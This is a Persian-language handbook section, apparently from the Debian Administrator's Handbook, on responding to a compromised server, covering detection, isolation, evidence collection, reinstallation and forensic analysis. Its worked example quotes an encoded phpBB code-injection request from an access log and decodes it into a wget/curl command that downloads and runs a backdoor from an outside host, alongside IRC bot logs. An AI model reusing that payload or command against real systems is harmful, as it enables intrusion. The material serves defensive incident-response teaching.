14.7. مواجهه با یک ماشین نفوذپذیر

برخلاف طراحی خوب یک خط مشی امنیتی، یک مدیر سیستم معمولا با یک عمل hijacking مواجه می‌شود. این قسمت به بررسی مواردی می‌پردازد که در مواجهه با چنین شرایط نامطلوبی باید مد نظر قرار گرفته شوند.

14.7.1. شناسایی و مشاهده نفوذ خرابکار

اولین گام در مواجهه با یک نفوذ، شناسایی چنین اقدامی است. اینکار به راحتی صورت نمی‌پذیرد، به خصوص اگر زیرساخت مناسب مانیتورینگ موجود نباشد.

اقدامات خرابکارانه مادامی که تاثیر منفی خود را روی سرویس‌های یک ماشین نگذارند قابل شناسایی نیستند، از جمله کاهش سرعت ارتباطات، قطع ارتباط برخی کاربران با سیستم یا هر گونه عیب و ایراد دیگر. در مواجهه با این مشکلات، مدیر سیستم باید با نگاهی دقیق به ماشین به بررسی آنچه درست عمل نمی‌کند بپردازد. این مورد زمانی اتفاق می‌افتد که یک فرآیند غیرمعمول در سیستم مشاهده شود، برای نمونه apache بجای فرآیند استاندارد /usr/sbin/apache2. با دنبال کردن این مثال، کاری که باید انجام داد یادداشت برداری از شناسه فرآیند مذکور و بررسی /proc/pid/exe به منظور اینکه فرآیند قصد اجرای کدام برنامه را داشته است:

# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

برنامه‌ای که در /var/tmp/ نصب شده و به عنوان سرور وب کار می‌کند؟ بدون شک، ماشین مورد نفوذ قرار گرفته است.

این تنها یک مثال بود، اما شواهد بسیاری وجود دارد که می‌تواند برای مدیر سیستم هشدار دهنده باشد:

یک گزینه برای دستوری که هم اکنون کار نمی‌کند؛ نسخه نرم‌افزاری که دستور ادعای آن را می‌کند با نسخه‌ای که از dpkg پرس و جو شده است سازگاری ندارد؛
یک خط فرمان یا پیام خوش‌آمدگویی که بیان می‌کند آخرین ارتباط برقرار شده از یک قاره دیگر بوده است؛
خطاهایی که از پر شدن پارتیشن /tmp/ به دلیل وجود نسخه‌های غیرقانونی از فیلم‌های مختلف تولید شده است؛
و از این قبیل.

14.7.2. خاموش کردن سرور

در اکثر موارد، مهاجم از طریق یک شبکه به ماشین نفوذ کرده است و برای ادامه نفوذ خود به یک شبکه فعال نیاز دارد (به منظور دسترسی به داده‌های محرمانه، اشتراک‌گذاری فایل‌های غیرقانونی، پنهان‌سازی هویت خود با تبدیل ماشین به یک relay و از این قبیل). قطع ارتباط فیزیکی رایانه با شبکه از دسترسی بیشتر مهاجم به سیستم‌های هدف پیشگیری می‌کند، اگر تاکنون به این مهم دست نیافته باشد.

اینکار تنها در صورت دسترسی فیزیکی به سرور ممکن است. زمانی که سرور در یک مرکز داده سرویس میزبانی درون کشور قرار گرفته یا به هر دلیل دیگر قابل دسترس نباشد، ایده خوبی است که اطلاعات بیشتری در این مورد جمع‌آوری ( قسمت 14.7.3, “نگهداری هر آنچه که می‌تواند به عنوان مدرک استفاده شود” ، قسمت 14.7.5, “بررسی و تحلیل قضایی” و قسمت 14.7.6, “بازسازی سناریوی حمله” را مشاهده کنید)، سپس تا آنجا که امکان دارد سرور را با استفاده از خاموش کردن سرویس‌های ممکن ایزوله کنیم (معمولا، همه سرویس‌ها بجز sshd). این مورد نیز مشکلات خود را دارد، چون کسی نمی‌تواند بگوید آیا مهاجم نیز مانند مدیر سیستم دسترسی SSH را بدست گرفته است یا خیر: اینکار “پاکسازی” ماشین را دشوارتر می‌سازد.

14.7.3. نگهداری هر آنچه که می‌تواند به عنوان مدرک استفاده شود

درک حمله و/یا اقدامات قانونی مقابل مهاجمین نیازمند نسخه‌برداری از مهم‌ترین عناصر حمله می‌باشد؛ این فهرست شامل محتوای هارد دیسک، فهرستی از تمام فرآیندهای اجرایی و فهرستی از تمام ارتباطات باز می‌باشد. از محتوای موجود در RAM نیز می‌توان استفاده کرد ولی به ندرت در دنیای واقعی کاربرد دارد.

در زمان وقوع حادثه، مدیر سیستم‌ها اغلب وسوسه می‌شند که بررسی‌های بسیاری را روی ماشین نفوذی انجام دهند؛ اینکار معمولا ایده خوبی نیست. هر دستوری که اجرا می‌شود به احتمال زیاد دستکاری شده است و ممکن است بخشی از شواهد را از بین ببرد. این بررسی‌ها باید محدود به مجموعه کوچکی شوند (netstat -tupan برای ارتباطات شبکه، ps auxf برای فهرستی از فرآیندها و ls -alR /proc/[0-9]* برای اطلاعات بیشتر در مورد برنامه‌های در حال اجرا) و هرگونه بررسی انجام شده باید یادداشت گردد.

احتیاط بررسی و تحلیل داغ

با اینکه بررسی سیستم در حال اجرا یک امر قابل اجرا است، به خصوص زمانی که سرور به صورت فیزیکی قابل دسترس نباشد، بهتر است که از اینکار خودداری کنیم: به سادگی نمی‌توان از صحت برنامه‌های نصب شده روی سیستم اطمینان حاصل کرد. این امکان وجود دارد که یک دستور ps دستکاری شده برخی فرآیندها را نشان ندهد، یا یک دستور ls دستکاری شده برخی فایل‌ها را پنهان سازد؛ گاهی اوقات حتی کرنل نیز مورد نفوذ قرار می‌گیرد!

اگر هنوز نیاز به چنین بررسی و تحلیلی باشد، باید احتیاط کرد که تنها از برنامه‌های شناخته شده استفاده کنیم. یک روش خود استفاده از دیسک نجاتی است که شامل برنامه‌های تر و تازه باشد، یا یک اشتراک شبکه فقط خواندنی. با این حال، حتی این اقدامات نیز در صورت نفوذ به کرنل بی‌فایده خواهند بود.

زمانی که این عنصرهای ... ذخیره‌سازی شوند، گام بعدی ذخیره‌سازی یک تصویر کامل از هارد-دیسک است. ایجاد چنین تصویری در صورت تغییر اندازه فایل سیستم غیرممکن است، به همین دلیل است که ابتدا باید به صورت فقط-خواندنی متصل گردد. ساده‌ترین راهکار توقف اجباری سرور (پس از اجرای sync) و اجرای مجدد آن روی یک دیسک نجات است. هر پارتیشن باید با ابزاری مانند dd رونوشت گرفته شود؛ این تصاویر می‌توانند به سرور دیگری فرستاده شوند (احتمالا با ابزار nc). احتمال دیگر حتی از این نیز ساده‌تر است: تنها کافی است دیسک را از ماشین خارج کرده و با یک دیسک جدید جایگزین کنیم تا بتوان عملیات فرمت‌دهی و نصب مجدد را انجام داد.

14.7.4. نصب مجدد

قبل از اجرای نصب مجدد، سرور نباید به حالت آنلاین بازگردد. اگر نفوذ در بالاترین سطح اتفاق افتاده باشد (یعنی تمام دسترسی‌های مدیریتی) تقریبا هیچ راهی وجود ندارد تا اطمینان یابیم مهاجم چه ابزارهایی را در سرور باقی گذاشته است (به طور مشخص backdoor). البته، تمام بروزرسانی‌های امنیتی اخیر نیز به منظور مقابله با آسیب‌پذیری که مهاجم از آن سواستفاده کرده است باید انجام شوند. ایده‌آل است که بررسی و تحلیل حمله به این عامل مهم توجه کند، تا بتوان آن را در ادامه برطرف نمود؛ در غیر اینصورت، باید امیدوار باشیم که این آسیب‌پذیری یکی از همان مواردی بوده است که توسط بروزرسانی امنیتی برطرف شده است.

نصب مجدد یک سرور راه‌دور همیشه آسان نیست؛ ممکن است به کمک شرکت میزبانی احتیاج باشد، زیرا همه این شرکت‌ها دارای سیستم‌های نصب مجدد خودکار نیستند. باید احتیاط کرد که از فایل‌های پشتیبان تهیه شده پس از نفوذ برای بازیابی ماشین استفاده نشود. ایده‌آل است که تنها داده‌ها را بازیابی کنیم و تمام نرم‌افزارهای کاربردی از نو نصب شوند.

14.7.5. بررسی و تحلیل قضایی

اکنون که سرویس‌ها به حالت قبلی خود بازگشته‌اند، زمان آن فرا رسیده است که نگاهی عمیق‌تر به تصاویر ذخیره شده از دیسک‌های مورد نفوذ قرار گرفته شده بیندازیم تا عامل حمله را بهتر درک کنیم. زمانی که قصد استفاده از این تصاویر را داریم، باید احتیاط کرد که تنها از گزینه‌های ro,nodev,noexec,noatime به منظور پیشگیری از دستکاری محتوای دیسک (از جمله زمان دسترسی به فایل‌ها) یا اجرایی اشتباهی برنامه‌ها استفاده کنیم.

پیگیری یک سناریوی حمله معمولا شامل جستجو برای هر آنچه تغییر یافته یا اجرا شده است می‌باشد:

فایل‌های .bash_history اغلب اطلاعات مفیدی را فراهم می‌کنند؛
به همین صورت فهرست فایل‌هایی که اخیرا ایجاد، تغییر یا دسترسی یافته‌اند؛
دستور strings، با استخراج رشته‌های متنی از یک فایل باینری، به شناسایی برنامه‌های نصب شده توسط مهاجم کمک می‌کند؛
فایل‌های گزارش موجود در /var/log/ اغلب ساختار زمانی و ترتیب اجرای وقایع را شرح می‌دهند؛
ابزارهای خاص-منظوره همچنین امکان بازیابی محتوای فایل‌های حذف شده را فراهم می‌کنند، از جمله فایل‌های گزارشی که مهاجم آن‌ها را پاک کرده است.

برخی از این عملیات می‌توانند با استفاده از یک نرم‌افزار اختصاصی ساده‌سازی گردند. به طور مشخص، بسته sleuthkit ابزارهای بسیاری را برای بررسی یک فایل سیستم فراهم می‌کند. کاربرد آن‌ها با استفاده از رابط گرافیکی Autopsy Forensic Browser (در بسته autopsy) بسیار ساده شده است.

14.7.6. بازسازی سناریوی حمله

تمام عنصرهای جمع‌آوری شده حین بررسی و تحلیل باید به صورت قطعه‌های یک پازل کنار یکدیگر قرار گیرند؛ ایجاد اولین فایل‌ها مشکوک اغلب مرتبط با گزارش‌های مربوط به نفوذ می‌باشد. یک مثال واقعی می‌تواند منظور را بهتر از مفاهیم نظری طولانی منتقل کند.

گزارش پیش رو از یک فایل access.log آپاچی استخراج شده است:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

این مثال با یک آسیب‌پذیری قدیمی در نرم‌افزار phpBB سازگاری دارد.

→ http://secunia.com/advisories/13239/

→ http://www.phpbb.com/phpBB/viewtopic.php?t=240636

رمزگشایی این نشانی طولانی باعث می‌شود درک بهتری از قصد مهاجم از اجرای کد PHP را داشته باشیم که برابر است با: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). در حقیقت، یک فایل bd در /tmp/ پیدا شده است. اجرای strings /mnt/tmp/bd در میان سایر رشته‌ها عبارت PsychoPhobia Backdoor is starting... را باز می‌گرداند. این ابزار شباهت زیادی به یک backdoor دارد.

در زمان دیگری، از این دسترسی به منظور دانلود، نصب و اجرای یک bot از نوع IRC که به یک شبکه زیرزمینی متصل شده بود، استفاده می‌شد. این ربات از طریق این پروتکل قابل کنترل بود که باعث می‌شد بتواند فایل‌های گوناگونی را به منظور اشتراک‌گذاری دانلود کند. این برنامه حتی فایل گزارش مخصوص به خود را دارد:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

این فایل نشان می‌دهد که دو فایل ویدیویی با استفاده از نشانی IP 82.50.72.202 روی سرور ذخیره‌سازی شده‌اند.

به صورت موازی، مهاجم اقدام به دانلود چند فایل اضافی کرده است، /tmp/pt و /tmp/loginx. اجرای strings روی این دو برنامه عبارت‌های Shellcode placed at 0x%08lx و Now wait for suid shell... را باز می‌گرداند. این‌ها مانند برنامه‌هایی هستند که با استفاده از آسیب‌پذیری‌های محلی قصد اتخاذ دسترسی‌های سطح بالاتر را دارند. آیا به هدف خود رسیده‌اند؟ در این مورد، احتمالا خیر، چرا که پس از نفوذ اولیه به سیستم هیچ فایل دیگری تغییر نیافته است.

در این مثال، تمام حمله بازسازی شده است و می‌توان نتیجه گرفت که مهاجم به مدت سه روز کنترل سیستم را در دست داشته است؛ اما مهم‌ترین عنصر در این حمله آن است که آسیب‌پذیری شناسایی شده است و مدیر سیستم می‌تواند اطمینان یابد که با نصب بروزرسانی امنیتی آن را برطرف کرده است.